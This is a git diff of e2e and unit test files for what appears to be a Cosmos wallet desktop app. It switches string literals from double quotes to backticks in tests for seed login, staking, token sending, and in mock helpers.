app.client.$("#signOut-btn").click() + await login(app, `testkey`) + await app.client.waitForExist(`#signOut-btn`, 1000) + await app.client.$(`#signOut-btn`).click() - await app.client.waitForExist(".tm-session", 1000) + await app.client.waitForExist(`.tm-session`, 1000) t.end() }) - t.test("seed", async function(t) { + t.test(`seed`, async function(t) { await refresh(app) // go to login selection await app.client - .$("i=arrow_back") - .$("..") + .$(`i=arrow_back`) + .$(`..`) .click() - await app.client.waitForExist(".tm-li-session", 1000) + await app.client.waitForExist(`.tm-li-session`, 1000) // go to import with seed await app.client - .$(".tm-li-session-title=Import with seed") - .$("..") - .$("..") + .$(`.tm-li-session-title=Import with seed`) + .$(`..`) + .$(`..`) .click() - let accountName = () => el("#import-name") - let password = () => el("#import-password") - let passwordConfirm = () => el("#import-password-confirmation") - let seed = () => el("#import-seed") + let accountName = () => el(`#import-name`) + let password = () => el(`#import-password`) + let passwordConfirm = () => el(`#import-password-confirmation`) + let seed = () => el(`#import-seed`) - t.test("set account name", async function(t) { + t.test(`set account name`, async function(t) { await clickContinue() t.ok( await accountName() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error` ) await accountName().scroll() await accountName().click() - await app.client.keys("seed".split()) + await app.client.keys(`seed`.split()) t.ok( await accountName() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error for too few letters" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error for too few letters` ) await accountName().click() - await app.client.keys("_test".split()) + await app.client.keys(`_test`.split()) t.ok( !(await accountName() - .$("..") - .isExisting(".tm-form-msg--error")), - "hides error" + .$(`..`) + .isExisting(`.tm-form-msg--error`)), + `hides error` ) t.end() }) - t.test("set password", async function(t) { + t.test(`set password`, async function(t) { await clickContinue() t.ok( await password() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error` ) await password().click() - await app.client.keys("1234".split()) + await app.client.keys(`1234`.split()) t.ok( await password() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error for too few letters" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error for too few letters` ) await password().click() - await app.client.keys("567890".split()) + await app.client.keys(`567890`.split()) t.ok( !(await password() - .$("..") - .isExisting(".tm-form-msg--error")), - "hides error" + .$(`..`) + .isExisting(`.tm-form-msg--error`)), + `hides error` ) t.end() }) - t.test("confirm password", async function(t) { + t.test(`confirm password`, async function(t) { await clickContinue() t.ok( await passwordConfirm() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error` ) await passwordConfirm().click() - await app.client.keys("1234".split()) + await app.client.keys(`1234`.split()) t.ok( await passwordConfirm() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error for not matching passwords" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error for not matching passwords` ) await passwordConfirm().click() - await app.client.keys("567890".split()) + await app.client.keys(`567890`.split()) t.ok( !(await passwordConfirm() - .$("..") - .isExisting(".tm-form-msg--error")), - "hides error" + .$(`..`) + .isExisting(`.tm-form-msg--error`)), + `hides error` ) t.end() }) - t.test("input correct seed text", async function(t) { + t.test(`input correct seed text`, async function(t) { await clickContinue() t.ok( await seed() - .$("..") - .isExisting(".tm-form-msg--error"), - "shows error" + .$(`..`) + .isExisting(`.tm-form-msg--error`), + `shows error` ) await seed().click() await app.client.keys( - "attack ocean crack fun say lawn display proof tiny traffic light expect gravity citizen split deer family bar mutual clown stage cook awake evoke".split() + `attack ocean crack fun say lawn display proof tiny traffic light expect gravity citizen split deer family bar mutual clown stage cook awake evoke`.split() ) t.ok( !(await seed() - .$("..") - .isExisting(".tm-form-msg--error")), - "hides error" + .$(`..`) + .isExisting(`.tm-form-msg--error`)), + `hides error` ) t.end() }) - t.test("logs in", async function(t) { + t.test(`logs in`, async function(t) { await clickContinue() // checking if user is logged in - await app.client.waitForExist("#app-content", 5000) + await app.client.waitForExist(`#app-content`, 5000) await openMenu(app) let activeUser = await app.client - .$(".tm-li-user .tm-li-subtitle") + .$(`.tm-li-user .tm-li-subtitle`) .getText() - t.equal(activeUser, "seed_test", "user is logged in") + t.equal(activeUser, `seed_test`, `user is logged in`) t.end() }) diff --git a/test/e2e/staking.js b/test/e2e/staking.js index 6937651b07..d9a3b0ac43 100644 --- a/test/e2e/staking.js +++ b/test/e2e/staking.js @@ -1,49 +1,49 @@ -let test = require("tape-promise/tape") -let { getApp, restart } = require("./launch.js") -let { navigate, login, sleep } = require("./common.js") +let test = require(`tape-promise/tape`) +let { getApp, restart } = require(`./launch.js`) +let { navigate, login, sleep } = require(`./common.js`) // let { navigate, waitForValue, login } = require("./common.js") // removed because of linting, add back when optimistic updates come /* * NOTE: don't use a global `let client = app.client` as the client object changes when restarting the app */ -test("staking", async function(t) { +test(`staking`, async function(t) { let { app } = await getApp(t) // app.env.COSMOS_MOCKED = false await restart(app) - await login(app, "testkey") - await navigate(app, "Staking") + await login(app, `testkey`) + await navigate(app, `Staking`) // default values from e2e mounted node let bondedStake = 100 - t.test("Validators", async function(t) { + t.test(`Validators`, async function(t) { // Select the Validators tab. await app.client.click(`//a[. = 'Validators']`) t.equal( - (await app.client.$$(".li-validator")).length, + (await app.client.$$(`.li-validator`)).length, 3, - "it shows all three validators" + `it shows all three validators` ) await t.ok( - await app.client.$(".top=local_1").isVisible(), - "show validator 1" + await app.client.$(`.top=local_1`).isVisible(), + `show validator 1` ) await t.ok( - await app.client.$(".top=local_2").isVisible(), - "show validator 2" + await app.client.$(`.top=local_2`).isVisible(), + `show validator 2` ) await t.ok( - await app.client.$(".top=local_3").isVisible(), - "show validator 3" + await app.client.$(`.top=local_3`).isVisible(), + `show validator 3` ) await t.equal( parseFloat( - await app.client.$(".li-validator__value.your-votes").getText() + await app.client.$(`.li-validator__value.your-votes`).getText() ), parseFloat(bondedStake), - "show my stake in the validator" + `show my stake in the validator` ) t.end() diff --git a/test/e2e/wallet.js b/test/e2e/wallet.js index 5d5091d6db..6e48c352ea 100644 --- a/test/e2e/wallet.js +++ b/test/e2e/wallet.js @@ -1,28 +1,28 @@ -let test = require("tape-promise/tape") -let { getApp, restart } = require("./launch.js") +let test = require(`tape-promise/tape`) +let { getApp, restart } = require(`./launch.js`) let { navigate, waitForText, login, closeNotifications -} = require("./common.js") +} = require(`./common.js`) let { addresses -} = require("../../app/src/renderer/connectors/lcdClientMock.js") +} = require(`../../app/src/renderer/connectors/lcdClientMock.js`) console.log(addresses) /* * NOTE: don't use a global `let client = app.client` as the client object changes when restarting the app */ -test("wallet", async function(t) { +test(`wallet`, async function(t) { let { app, accounts } = await getApp(t) // app.env.COSMOS_MOCKED = false await restart(app) let $ = (...args) => app.client.$(...args) - await login(app, "testkey") + await login(app, `testkey`) let balanceEl = denom => { let balanceElemSlector = `//div[contains(text(), "${denom.toUpperCase()}")]` @@ -31,153 +31,153 @@ test("wallet", async function(t) { // }) return app.client.waitForExist(balanceElemSlector, 20000).then(() => $(balanceElemSlector) - .$("..") - .$("div.tm-li-dd") + .$(`..`) + .$(`div.tm-li-dd`) ) } - t.test("send", async function(t) { + t.test(`send`, async function(t) { async function goToSendPage() { - await navigate(app, "Wallet") + await navigate(app, `Wallet`) - await $("#part-available-balances") - .$(".tm-li-dt=LOCAL_1TOKEN") - .$("..") - .$("..") + await $(`#part-available-balances`) + .$(`.tm-li-dt=LOCAL_1TOKEN`) + .$(`..`) + .$(`..`) .click() } - await navigate(app, "Wallet") + await navigate(app, `Wallet`) - let sendBtn = () => $(".tm-form-footer button") - let addressInput = () => $("#send-address") - let amountInput = () => $("#send-amount") + let sendBtn = () => $(`.tm-form-footer button`) + let addressInput = () => $(`#send-address`) + let amountInput = () => $(`#send-amount`) let defaultBalance = 1000 - t.test("LOCAL_1TOKEN balance before sending", async function(t) { + t.test(`LOCAL_1TOKEN balance before sending`, async function(t) { await app.client.waitForExist( `//span[contains(text(), "Send")]`, 15 * 1000 ) - let LOCAL_1TOKENEl = balanceEl("LOCAL_1TOKEN") + let LOCAL_1TOKENEl = balanceEl(`LOCAL_1TOKEN`) await waitForText(() => LOCAL_1TOKENEl, defaultBalance.toString()) t.end() }) - t.test("hit send with empty form", async function(t) { + t.test(`hit send with empty form`, async function(t) { await goToSendPage() await sendBtn().click() - t.equal(await sendBtn().getText(), "Send Tokens", "not sending") + t.equal(await sendBtn().getText(), `Send Tokens`, `not sending`) t.end() }) - t.test("address w/ less than or greater than 40 chars", async function(t) { + t.test(`address w/ less than or greater than 40 chars`, async function(t) { await goToSendPage() - await addressInput().setValue("012345") + await addressInput().setValue(`012345`) await sendBtn().click() - await $("div*=Address is invalid (012345 too short)").waitForExist() - t.pass("got correct error message") + await $(`div*=Address is invalid (012345 too short)`).waitForExist() + t.pass(`got correct error message`) await sendBtn().click() - t.equal(await sendBtn().getText(), "Send Tokens", "not sending") + t.equal(await sendBtn().getText(), `Send Tokens`, `not sending`) - let fourtyOneZeros = "01234" + "0".repeat(36) + let fourtyOneZeros = `01234` + `0`.repeat(36) await addressInput().setValue(fourtyOneZeros) await sendBtn().click() await $( - "div*=Address is invalid (Invalid checksum for " + fourtyOneZeros + ")" + `div*=Address is invalid (Invalid checksum for ` + fourtyOneZeros + `)` ).waitForExist() - t.pass("got correct error message") + t.pass(`got correct error message`) await sendBtn().click() - t.equal(await sendBtn().getText(), "Send Tokens", "not sending") + t.equal(await sendBtn().getText(), `Send Tokens`, `not sending`) t.end() }) - t.test("address not alphaNum", async function(t) { + t.test(`address not alphaNum`, async function(t) { await goToSendPage() - await addressInput().setValue("~".repeat(40)) + await addressInput().setValue(`~`.repeat(40)) await $( - "div*=Address is invalid (No separator character for ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~)" + `div*=Address is invalid (No separator character for ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~)` ).waitForExist() - t.pass("got correct error message") + t.pass(`got correct error message`) await sendBtn().click() - t.equal(await sendBtn().getText(), "Send Tokens", "not sending") + t.equal(await sendBtn().getText(), `Send Tokens`, `not sending`) t.end() }) - t.test("correct address mis-typed", async function(t) { + t.test(`correct address mis-typed`, async function(t) { await goToSendPage() let validAddress = addresses[0] - let invalidAddress = validAddress.slice(0, -1) + "4" + let invalidAddress = validAddress.slice(0, -1) + `4` await addressInput().setValue(invalidAddress) await $( - "div*=Address is invalid (Invalid checksum for " + invalidAddress + ")" + `div*=Address is invalid (Invalid checksum for ` + invalidAddress + `)` ).waitForExist() - t.pass("got correct error message") + t.pass(`got correct error message`) await sendBtn().click() - t.equal(await sendBtn().getText(), "Send Tokens", "not sending") + t.equal(await sendBtn().getText(), `Send Tokens`, `not sending`) t.end() }) - t.test("amount set", async function(t) { + t.test(`amount set`, async function(t) { await goToSendPage() - await amountInput().setValue("100") + await amountInput().setValue(`100`) await sendBtn().click() - t.equal(await sendBtn().getText(), "Send Tokens", "not sending") + t.equal(await sendBtn().getText(), `Send Tokens`, `not sending`) t.end() }) - t.test("send", async function(t) { + t.test(`send`, async function(t) { await goToSendPage() - await amountInput().setValue("100") + await amountInput().setValue(`100`) await addressInput().setValue(accounts[1].address) await sendBtn().click() // the confirmation popup will open - await app.client.$("#send-confirmation-btn").click() + await app.client.$(`#send-confirmation-btn`).click() - await app.client.waitForExist(".tm-notification", 10 * 1000) - let msg = await app.client.$(".tm-notification .body").getText() - console.log("msg", msg) - t.ok(msg.includes("Success"), "Send successful") + await app.client.waitForExist(`.tm-notification`, 10 * 1000) + let msg = await app.client.$(`.tm-notification .body`).getText() + console.log(`msg`, msg) + t.ok(msg.includes(`Success`), `Send successful`) // close the notifications to have a clean setup for the next tests await closeNotifications(app) t.end() }) - t.test("own balance updated", async function(t) { - await navigate(app, "Wallet") + t.test(`own balance updated`, async function(t) { + await navigate(app, `Wallet`) - let mycoinEl = () => balanceEl("LOCAL_1TOKEN") + let mycoinEl = () => balanceEl(`LOCAL_1TOKEN`) await waitForText(mycoinEl, (defaultBalance - 100).toString(), 10000) - t.pass("balance is reduced by 100") + t.pass(`balance is reduced by 100`) t.end() }) t.end() }) - t.test("receive", async function(t) { - t.test("LOCAL_1TOKEN balance after receiving", async function(t) { + t.test(`receive`, async function(t) { + t.test(`LOCAL_1TOKEN balance after receiving`, async function(t) { await restart(app) - await login(app, "testreceiver") - await navigate(app, "Wallet") + await login(app, `testreceiver`) + await navigate(app, `Wallet`) - let LOCAL_1TOKENEl = () => balanceEl("LOCAL_1TOKEN") + let LOCAL_1TOKENEl = () => balanceEl(`LOCAL_1TOKEN`) await app.client.waitForExist( `//span[contains(text(), "Send")]`, 15 * 1000 ) - await waitForText(LOCAL_1TOKENEl, "100", 5000) - t.pass("received mycoin transaction") + await waitForText(LOCAL_1TOKENEl, `100`, 5000) + t.pass(`received mycoin transaction`) t.end() }) diff --git a/test/unit/helpers/console_error_throw.js b/test/unit/helpers/console_error_throw.js index bd28fb72b6..5dc169f542 100644 --- a/test/unit/helpers/console_error_throw.js +++ b/test/unit/helpers/console_error_throw.js @@ -1,5 +1,5 @@ if (!process.env.LISTENING_TO_UNHANDLED_REJECTION) { - process.on("unhandledRejection", reason => { + process.on(`unhandledRejection`, reason => { throw reason }) // Avoid memory leak by adding too many listeners @@ -10,7 +10,7 @@ const consoleError = console.error console.error = (...args) => { consoleError(...args) throw Error( - "There was an error printed so there is probably a bug in your code." + `There was an error printed so there is probably a bug in your code.` ) } @@ -18,6 +18,6 @@ const consoleWarn = console.warn console.warn = (...args) => { consoleWarn(...args) throw Error( - "There was a warning printed so there is probably a bug in your code." + `There was a warning printed so there is probably a bug in your code.` ) } diff --git a/test/unit/helpers/electron_mock.js b/test/unit/helpers/electron_mock.js index 704fe8e06c..0d7417b0fb 100644 --- a/test/unit/helpers/electron_mock.js +++ b/test/unit/helpers/electron_mock.js @@ -1,23 +1,21 @@ // this mocks the IPC layer and isolates the mainthread from the renderer thread in tests -jest.mock("electron", () => ({ +jest.mock(`electron`, () => ({ clipboard: { writeText: jest.fn() }, ipcRenderer: { send: jest.fn(), once: jest.fn(), on: jest.fn() }, ipcMain: { on: jest.fn() }, remote: { getGlobal(name) { - if (name === "config") + if (name === `config`) return { - default_network: "mock-net", - google_analytics_uid: "UA-TEST", - sentry_dsn: - "https://4dee9f70a7d94cc0959a265c45902d84:cbf160384aab4cdeafbe9a08dee3b961@sentry.io/288169", - sentry_dsn_public: - "https://4dee9f70a7d94cc0959a265c45902d84@sentry.io/288169" + default_network: `mock-net`, + google_analytics_uid: `UA-TEST`, + sentry_dsn: `https://4dee9f70a7d94cc0959a265c45902d84:cbf160384aab4cdeafbe9a08dee3b961@sentry.io/288169`, + sentry_dsn_public: `https://4dee9f70a7d94cc0959a265c45902d84@sentry.io/288169` } - if (name === "root") return "./test/unit/tmp/test_root/" + if (name === `root`) return `./test/unit/tmp/test_root/` }, app: { - getVersion: jest.fn(() => "0.5.5") + getVersion: jest.fn(() => `0.5.5`) } } })) diff --git a/test/unit/helpers/fixed_time.js b/test/unit/helpers/fixed_time.js index 4df8a91400..60a4808e54 100644 --- a/test/unit/helpers/fixed_time.js +++ b/test/unit/helpers/fixed_time.js @@ -1,7 +1,7 @@ /* globals jest */ -require("moment") -const mockMomentTz = require("moment-timezone") -jest.mock("moment", () => time => mockMomentTz(time).tz("Etc/UTC")) +require(`moment`) +const mockMomentTz = require(`moment-timezone`) +jest.mock(`moment`, () => time => mockMomentTz(time).tz(`Etc/UTC`)) const DATE_TO_USE = new Date(Date.UTC(1970, 0, 1, 0, 0, 42)) global._Date = Date diff --git a/test/unit/helpers/fs-mock.js b/test/unit/helpers/fs-mock.js index cac149c5bf..62c7986301 100644 --- a/test/unit/helpers/fs-mock.js +++ b/test/unit/helpers/fs-mock.js @@ -1,5 +1,5 @@ -const { Writable } = require("stream") -const { normalize, sep } = require("path") +const { Writable } = require(`stream`) +const { normalize, sep } = require(`path`) /* * this mock implements every function (all used in this project for now) in fs-extra so that the file system is just represented by a json file holding file content as strings @@ -56,7 +56,7 @@ export default function mockFsExtra(fileSystem = {}) { // all methods are synchronous in tests Object.keys(fsExtraMock).forEach(key => { - fsExtraMock[key + "Sync"] = fsExtraMock[key] + fsExtraMock[key + `Sync`] = fsExtraMock[key] }) // for debugging @@ -68,10 +68,10 @@ export default function mockFsExtra(fileSystem = {}) { // clone fs = JSON.parse(JSON.stringify(fs)) Object.keys(fs).forEach(key => { - if (typeof fs[key] === "object") { + if (typeof fs[key] === `object`) { fs[key] = fsToString(fs[key]) } else { - fs[key] = "#CONTENT#" + fs[key] = `#CONTENT#` } }) return fs @@ -79,18 +79,18 @@ export default function mockFsExtra(fileSystem = {}) { function throwENOENT(path) { let error = new Error( - "Path " + + `Path ` + path + - " doesnt exist.\nFS:" + + ` doesnt exist.\nFS:` + JSON.stringify(fsToString(fileSystem), null, 2) ) - error.code = "ENOENT" + error.code = `ENOENT` throw error } function get(path, fs) { path = normalize(path) - let pathArr = path.split(sep).filter(x => x !== "") + let pathArr = path.split(sep).filter(x => x !== ``) let current = pathArr.shift() if (fs[current]) { @@ -101,7 +101,7 @@ export default function mockFsExtra(fileSystem = {}) { parent: fs } } - return get(pathArr.join("/"), fs[current]) + return get(pathArr.join(`/`), fs[current]) } return { file: null, @@ -112,14 +112,14 @@ export default function mockFsExtra(fileSystem = {}) { function create(path, fs, file = {}) { path = normalize(path) - let pathArr = path.split(sep).filter(x => x !== "") + let pathArr = path.split(sep).filter(x => x !== ``) let current = pathArr.shift() if (!fs[current]) { fs[current] = {} } if (pathArr.length === 0) { - if (typeof file === "object") { + if (typeof file === `object`) { // clone object fs[current] = JSON.parse(JSON.stringify(file)) } else { @@ -127,7 +127,7 @@ export default function mockFsExtra(fileSystem = {}) { } return true } - return create(pathArr.join("/"), fs[current], file) + return create(pathArr.join(`/`), fs[current], file) } return fsExtraMock diff --git a/test/unit/helpers/genesis_mock.js b/test/unit/helpers/genesis_mock.js index 28de8de3f5..7fcfcecfe0 100644 --- a/test/unit/helpers/genesis_mock.js +++ b/test/unit/helpers/genesis_mock.js @@ -1,79 +1,75 @@ import fs from "fs-extra" -let testRoot = "./test/unit/tmp/test_root/" +let testRoot = `./test/unit/tmp/test_root/` function mockGenesis() { - process.env.COSMOS_NETWORK = "./networks/gaiaiaiaiaiaia/" - process.env.GAIA_VERSION = "1.2.3" - process.env.VOYAGER_VERSION = "3.6.9" + process.env.COSMOS_NETWORK = `./networks/gaiaiaiaiaiaia/` + process.env.GAIA_VERSION = `1.2.3` + process.env.VOYAGER_VERSION = `3.6.9` process.env.COSMOS_HOME = testRoot - fs.ensureFileSync(testRoot + "genesis.json") + fs.ensureFileSync(testRoot + `genesis.json`) fs.writeFileSync( - testRoot + "genesis.json", + testRoot + `genesis.json`, JSON.stringify({ - genesis_time: "2017-12-12T02:31:37Z", - chain_id: "pure-test-net", + genesis_time: `2017-12-12T02:31:37Z`, + chain_id: `pure-test-net`, validators: [ { pub_key: { - data: - "2BA51EDE20AFC1EB462F22C10623A24A9C7E1B50282A5FB1E86A2E9B4FF19C47", - type: "ed25519" + data: `2BA51EDE20AFC1EB462F22C10623A24A9C7E1B50282A5FB1E86A2E9B4FF19C47`, + type: `ed25519` }, power: 1000, - name: "198.211.127.140" + name: `198.211.127.140` }, { pub_key: { - data: - "C9B26A21B62EF839523D2040C0C4C046D86574CB6DFF92F3C0AF58DF209846FD", - type: "ed25519" + data: `C9B26A21B62EF839523D2040C0C4C046D86574CB6DFF92F3C0AF58DF209846FD`, + type: `ed25519` }, power: 1000, - name: "207.154.200.196" + name: `207.154.200.196` } ], - app_hash: "", + app_hash: ``, app_state: { accounts: [ { - name: "relay", - address: "1B1BE55F969F54064628A63B9559E7C21C925165", + name: `relay`, + address: `1B1BE55F969F54064628A63B9559E7C21C925165`, pub_key: { - type: "ed25519", - data: - "619D3678599971ED29C7529DDD4DA537B97129893598A17C82E3AC9A8BA95279" + type: `ed25519`, + data: `619D3678599971ED29C7529DDD4DA537B97129893598A17C82E3AC9A8BA95279` }, coins: [ { - denom: "mycoin", + denom: `mycoin`, amount: 9007199254740992 } ] }, { - name: "greg", - address: "B01C264BFE9CBD45458256E613A6F07061A3A6B6", + name: `greg`, + address: `B01C264BFE9CBD45458256E613A6F07061A3A6B6`, pub_key: { - type: "ed25519", - data: - "E1FFBD187FA2A922CE1B367532CEAC1AD8E606D576AB0D2E2CAA7EC6B7DAC10F" + type: `ed25519`, + data: `E1FFBD187FA2A922CE1B367532CEAC1AD8E606D576AB0D2E2CAA7EC6B7DAC10F` }, coins: [ { - denom: "fermion", + denom: `fermion`, amount: 1000000 }, { - denom: "gregcoin", + denom: `gregcoin`, amount: 1000 } ] } ], plugin_options: [ - "coin/issuer", - { app: "sigs", addr: "B01C264BFE9CBD45458256E613A6F07061A3A6B6" } + `coin/issuer`, + { app: `sigs`, addr: `B01C264BFE9CBD45458256E613A6F07061A3A6B6` } ] } }) diff --git a/test/unit/helpers/node_mock.js b/test/unit/helpers/node_mock.js index 69de0beb3a..b632ea8caa 100644 --- a/test/unit/helpers/node_mock.js +++ b/test/unit/helpers/node_mock.js @@ -1,19 +1,19 @@ -let mockValidators = require("src/helpers/json/mock_validators.json") -let mockLcd = require("../../../app/src/renderer/connectors/lcdClientMock.js") +let mockValidators = require(`src/helpers/json/mock_validators.json`) +let mockLcd = require(`../../../app/src/renderer/connectors/lcdClientMock.js`) module.exports = { // REST - relayPort: "9060", - lcdPort: "9070", + relayPort: `9060`, + lcdPort: `9070`, lcdConnected: () => Promise.resolve(true), - getKey: () => ({ address: "someaddress" }), - generateSeed: () => "a b c d e f g h i j k l", + getKey: () => ({ address: `someaddress` }), + generateSeed: () => `a b c d e f g h i j k l`, updateKey: () => {}, listKeys: () => [], storeKey: () => ({ - key: "123", - password: "1234567890", - seed_phrase: "a b c d e f g h i j k l" + key: `123`, + password: `1234567890`, + seed_phrase: `a b c d e f g h i j k l` }), queryAccount: () => null, buildDelegate: () => Promise.resolve(null), @@ -25,14 +25,14 @@ module.exports = { candidate: () => Promise.resolve({ data: { - pub_key: { data: "" }, - description: { name: "test" } + pub_key: { data: `` }, + description: { name: `test` } } }), bondingsByDelegator: () => Promise.resolve({ data: { - PubKey: { data: "" }, + PubKey: { data: `` }, Shares: 0 } }), @@ -49,17 +49,17 @@ module.exports = { sync_info: { latest_block_height: 42 }, - node_info: { network: "test-net" } + node_info: { network: `test-net` } }) }, rpcInfo: { connected: true, connecting: false, - nodeIP: "127.0.0.1" + nodeIP: `127.0.0.1` }, rpcConnect: () => {}, rpcDisconnect: () => {}, - rpcReconnect: () => Promise.resolve("1.1.1.1"), + rpcReconnect: () => Promise.resolve(`1.1.1.1`), setup: () => {}, ...mockLcd diff --git a/test/unit/helpers/vuex-setup.js b/test/unit/helpers/vuex-setup.js index e91541b361..df699e15df 100644 --- a/test/unit/helpers/vuex-setup.js +++ b/test/unit/helpers/vuex-setup.js @@ -5,8 +5,8 @@ import { getCommits, getDispatches } from "./vuex-helpers.js" import routes from "renderer/routes" -const Modules = require("renderer/vuex/modules").default -const Getters = require("renderer/vuex/getters") +const Modules = require(`renderer/vuex/modules`).default +const Getters = require(`renderer/vuex/getters`) export default function vuexSetup() { const localVue = createLocalVue() @@ -18,7 +18,7 @@ export default function vuexSetup() { testType = shallow, { stubs, getters = {}, propsData, methods, doBefore = () => {} } // doBefore receives router and store ) { - const node = Object.assign({}, require("../helpers/node_mock")) + const node = Object.assign({}, require(`../helpers/node_mock`)) const modules = Modules({ node }) let store = new Vuex.Store({ getters: Object.assign({}, Getters, getters), @@ -27,10 +27,10 @@ export default function vuexSetup() { loadPersistedState: () => {} } }) - store.commit("setDevMode", true) + store.commit(`setDevMode`, true) - jest.spyOn(store, "dispatch") - jest.spyOn(store, "commit") + jest.spyOn(store, `dispatch`) + jest.spyOn(store, `commit`) // helpers to make it easier to search events store.getCommits = getCommits.bind(this, store) @@ -39,7 +39,7 @@ export default function vuexSetup() { let router = new VueRouter({ routes }) router.beforeEach((to, from, next) => { if (from.fullPath !== to.fullPath && !store.getters.user.pauseHistory) - store.commit("addHistory", from.fullPath) + store.commit(`addHistory`, from.fullPath) next() }) diff --git a/test/unit/specs/App.spec.js b/test/unit/specs/App.spec.js index 11a543e958..f3f47f7076 100644 --- a/test/unit/specs/App.spec.js +++ b/test/unit/specs/App.spec.js @@ -1,28 +1,28 @@ /* mocking electron differently in one file apparently didn't work so I had to split the App tests in 2 files */ jest.mock( - "renderer/connectors/node.js", - () => jest.fn(() => require("../helpers/node_mock")) // using jest.fn to be able to spy on the constructor call + `renderer/connectors/node.js`, + () => jest.fn(() => require(`../helpers/node_mock`)) // using jest.fn to be able to spy on the constructor call ) -describe("App without analytics", () => { - jest.mock("../../../app/src/config", () => ({ - google_analytics_uid: "123", - sentry_dsn_public: "456" +describe(`App without analytics`, () => { + jest.mock(`../../../app/src/config`, () => ({ + google_analytics_uid: `123`, + sentry_dsn_public: `456` })) - jest.mock("raven-js", () => ({ + jest.mock(`raven-js`, () => ({ config: () => { return { install: () => {} } }, captureException: err => console.error(err) })) - jest.mock("renderer/google-analytics.js", () => () => {}) - jest.mock("electron", () => ({ + jest.mock(`renderer/google-analytics.js`, () => () => {}) + jest.mock(`electron`, () => ({ remote: { getGlobal: () => ({ mocked: false }), app: { getPath: () => { - return "$HOME" + return `$HOME` } } }, @@ -33,48 +33,48 @@ describe("App without analytics", () => { })) beforeEach(() => { - Object.defineProperty(window.location, "search", { + Object.defineProperty(window.location, `search`, { writable: true, - value: "?node=localhost&lcd_port=8080" + value: `?node=localhost&lcd_port=8080` }) - document.body.innerHTML = '
' + document.body.innerHTML = `
` jest.resetModules() }) - it("has all dependencies", async () => { - await require("renderer/main.js") + it(`has all dependencies`, async () => { + await require(`renderer/main.js`) }) - it("reads the lcd port from the url", async () => { - let Node = require("renderer/connectors/node.js") - require("renderer/main.js") - expect(Node).toHaveBeenCalledWith("8080", false) // second argument is a switch for a mocked node implementation + it(`reads the lcd port from the url`, async () => { + let Node = require(`renderer/connectors/node.js`) + require(`renderer/main.js`) + expect(Node).toHaveBeenCalledWith(`8080`, false) // second argument is a switch for a mocked node implementation }) - it("uses a mocked connector implementation if set in config", async () => { - let electron = require("electron") + it(`uses a mocked connector implementation if set in config`, async () => { + let electron = require(`electron`) electron.remote.getGlobal = () => ({ - env: { NODE_ENV: "test" }, + env: { NODE_ENV: `test` }, mocked: true }) - let Node = require("renderer/connectors/node.js") - require("renderer/main.js") - expect(Node).toHaveBeenCalledWith("8080", true) + let Node = require(`renderer/connectors/node.js`) + require(`renderer/main.js`) + expect(Node).toHaveBeenCalledWith(`8080`, true) jest.resetModules() }) - it("does not activate google analytics if analytics is disabled", async mockDone => { - jest.mock("renderer/google-analytics.js", () => () => { + it(`does not activate google analytics if analytics is disabled`, async mockDone => { + jest.mock(`renderer/google-analytics.js`, () => () => { mockDone.fail() }) - await require("renderer/main.js") + await require(`renderer/main.js`) mockDone() }) - it("does not set Raven dsn if analytics is disabled", mockDone => { - jest.mock("raven-js", () => ({ + it(`does not set Raven dsn if analytics is disabled`, mockDone => { + jest.mock(`raven-js`, () => ({ config: dsn => { - expect(dsn).toBe("") + expect(dsn).toBe(``) return { install: () => { mockDone() @@ -83,110 +83,110 @@ describe("App without analytics", () => { }, captureException: err => console.error(err) })) - require("renderer/main.js") + require(`renderer/main.js`) }) - it("opens error modal", async () => { + it(`opens error modal`, async () => { jest.resetModules() - const { ipcRenderer } = require("electron") + const { ipcRenderer } = require(`electron`) ipcRenderer.on = (type, cb) => { - if (type === "error") { - cb(null, new Error("Expected")) + if (type === `error`) { + cb(null, new Error(`Expected`)) } } - const { store } = require("renderer/main.js") + const { store } = require(`renderer/main.js`) expect(store.state.config.modals.error.active).toBe(true) - expect(store.state.config.modals.error.message).toBe("Expected") + expect(store.state.config.modals.error.message).toBe(`Expected`) }) - it("triggers the approval flow on IPC message", async () => { + it(`triggers the approval flow on IPC message`, async () => { jest.resetModules() - const { ipcRenderer } = require("electron") + const { ipcRenderer } = require(`electron`) ipcRenderer.on = (type, cb) => { - if (type === "approve-hash") { - cb(null, "THISISSOMEHASH") + if (type === `approve-hash`) { + cb(null, `THISISSOMEHASH`) } } - const { store } = require("renderer/main.js") - expect(store.state.node.approvalRequired).toBe("THISISSOMEHASH") + const { store } = require(`renderer/main.js`) + expect(store.state.node.approvalRequired).toBe(`THISISSOMEHASH`) }) - it("sends a message to the main thread, that the app has loaded", () => { - const { ipcRenderer } = require("electron") + it(`sends a message to the main thread, that the app has loaded`, () => { + const { ipcRenderer } = require(`electron`) ipcRenderer.send = jest.fn() - require("renderer/main.js") + require(`renderer/main.js`) - expect(ipcRenderer.send).toHaveBeenCalledWith("booted") + expect(ipcRenderer.send).toHaveBeenCalledWith(`booted`) }) - it("sends a message to the main thread, that the app sucessfully connected to a node and is usable", async () => { + it(`sends a message to the main thread, that the app sucessfully connected to a node and is usable`, async () => { jest.resetModules() - const { ipcRenderer } = require("electron") + const { ipcRenderer } = require(`electron`) ipcRenderer.send = jest.fn() let connectedCB ipcRenderer.on = (type, cb) => { - if (type === "connected") { + if (type === `connected`) { connectedCB = cb } } - require("renderer/main.js") - await connectedCB(null, "localhost") + require(`renderer/main.js`) + await connectedCB(null, `localhost`) expect(ipcRenderer.send.mock.calls).toEqual([ - ["booted"], - ["successful-launch"] + [`booted`], + [`successful-launch`] ]) }) - it("show that there are no nodes available to connect to", async () => { + it(`show that there are no nodes available to connect to`, async () => { jest.resetModules() - const { ipcRenderer } = require("electron") + const { ipcRenderer } = require(`electron`) ipcRenderer.send = jest.fn() let connectedCB 